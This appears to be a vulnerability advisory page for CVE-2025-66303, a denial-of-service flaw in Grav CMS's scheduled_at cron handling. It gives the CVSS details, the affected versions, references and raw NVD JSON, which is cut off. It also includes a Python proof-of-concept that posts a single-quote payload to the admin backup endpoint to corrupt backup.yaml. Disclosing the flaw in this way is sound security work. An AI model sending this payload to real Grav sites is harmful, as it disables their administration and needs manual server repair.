CVE-2025-66303

Description

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, A Denial of Service (DoS) vulnerability has been identified in Grav related to the handling of scheduled_at parameters. Specifically, the application fails to properly sanitize input for cron expressions. By manipulating the scheduled_at parameter with a malicious input, such as a single quote, the application admin panel becomes non-functional, causing significant disruptions to administrative operations. The only way to recover from this issue is to manually access the host server and modify the backup.yaml file to correct the corrupted cron expression. This vulnerability is fixed in 1.8.0-beta.27.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:* - VULNERABLE

Grav CMS < 1.8.0-beta.27

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66303 PoC - Grav CMS scheduled_at DoS
# This PoC demonstrates the DoS vulnerability via malicious scheduled_at parameter

import requests
import json

# Target Grav CMS instance
target_url = "http://target-grav-site.com/admin/configurations/backup"

# Malicious payload - single quote to corrupt cron expression
malicious_payload = {
    "backup": {
        "scheduled_at": "'"
    }
}

# Admin session cookies (requires authenticated admin access)
cookies = {
    "grav-site": "your-admin-session-cookie"
}

# Send malicious request to corrupt backup.yaml
response = requests.post(
    target_url,
    data=malicious_payload,
    cookies=cookies,
    verify=False
)

# Verify the DoS condition
if response.status_code == 200:
    print("[+] DoS payload sent successfully")
    print("[*] The backup.yaml file is now corrupted")
    print("[*] Admin panel should be non-functional")
    print("[!] Recovery requires manual server access to fix backup.yaml")
else:
    print("[-] Attack failed, check credentials and target URL")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66303
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66303
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66303/
[4] VulDB https://vuldb.com/cve/CVE-2025-66303
[5] https://github.com/getgrav/grav/commit/9d11094e4133f059688fad1e00dbe96fb6e3ead7
[6] https://github.com/getgrav/grav/security/advisories/GHSA-x62q-p736-3997
[7] https://github.com/getgrav/grav/security/advisories/GHSA-x62q-p736-3997

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66303", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:49.913", "lastModified": "2025-12-03T16:03:09.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 1.8.0-beta.27, A Denial of Service (DoS) vulnerability has been identified in Grav related to the handling of scheduled_at parameters. Specifically, the application fails to properly sanitize input for cron expressions. By manipulating the scheduled_at parameter with a malicious input, such as a single quote, the application admin panel becomes non-functional, causing significant disruptions to administrative operations. The only way to recover from this issue is to manually access the host server and modify the backup.yaml file to correct the corrupted cron expression. This vulnerability is fixed in 1.8.0-beta.27."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.0", "matchCriteriaId": "0F068841-DBCC-41D5-8B24-BFCE51841E2E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "8A383F2E-C6BA-440B-B648-A3313B7D91C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:*", "matchCriteriaId": "F7EF2DEC-2798-4D0D-9C27-0F01BAFEAEFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:*", "matchCriteriaId": "530C6F64-F30B-4E93-9A12-D9625EA57483"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:*", "matchCriteriaId": "9AC28BF9-626D-4514-91F0-F81DAB5D3602"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta13:*:*:*:*:*:*", "matchCriteriaId": "307AA375-E531-4AE5-BA79-2F9D4DE7A05F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta14:*:*:*:*:*:*", "matchCriteriaId": "C2E3E312-485D-42B0-B465-64B6438CDCAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta15:*:*:*:*:*:*", "matchCriteriaId": "5BE4B2F9-1B6D-4D18-916A-5C95A3213222"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta16:*:*:*:*:*:*", "matchCriteriaId": "763207F0-92D1-4274-A30A-DE634C5852C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta17:*:*:*:*:*:*", "matchCriteriaId": "1DE8F350-BA07-4DAA-AE4B-5E0A532B6828"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta18:*:*:*:*:*:*", "matchCriteriaId": "F9150B94-0DF3-43F3-9806-39787A6C0E4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta19:*:*:*:*:*:*", "matchCriteriaId": "BAA7C7EC-8FB2-445D-8A02-1743D87F5416"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "7A6BEA2A-D534-4C9E-811A-8A46E214C46D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta20:*:*:*:*:*:*", "matchCriteriaId": "7A644F57-FF39-4262-9796-7C4F3B0851C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta21:*:*:*:*:*:*", "matchCriteriaId": "B2AFB9E7-084E-497B-B0FC-CA6A5033C5BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta22:*:*:*:*:*:*", "matchCriteriaId": "5C5E8823-9083-4FFA-9897-CAD0340DCE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta23:*:*:*:*:*:*", "matchCriteriaId": "9C048938-E0EC-4AD0-9847-FD74E6770FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta24:*:*:*:*:*:*", "matchCriteriaId": "F7B43876-1445-418A-9707-E692FDF62C4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta25:*:*:*:*:*:*", "matchCriteriaId": "94B209DE-01C6-41BA-B912-CF57849A9F7A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta26:*:*:*:*:*:*", "matchCriteriaId": "AB53AA10-87A5-4010-8019-BF4AA5ABC12B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "775E0913-F3EF-4A55-B162-5BF9C6E2E641"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta4:*:*:*:*:*:*", "matchCriteriaId": "3C3E022E-35CB-40AD-959A-F39949E38BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta5:*:*:*:*:*:*", "matchCriteriaId": "8779C813-A81A-4E21-AB86-6193933568BC"}, {"vulnerable": true, ... (truncated)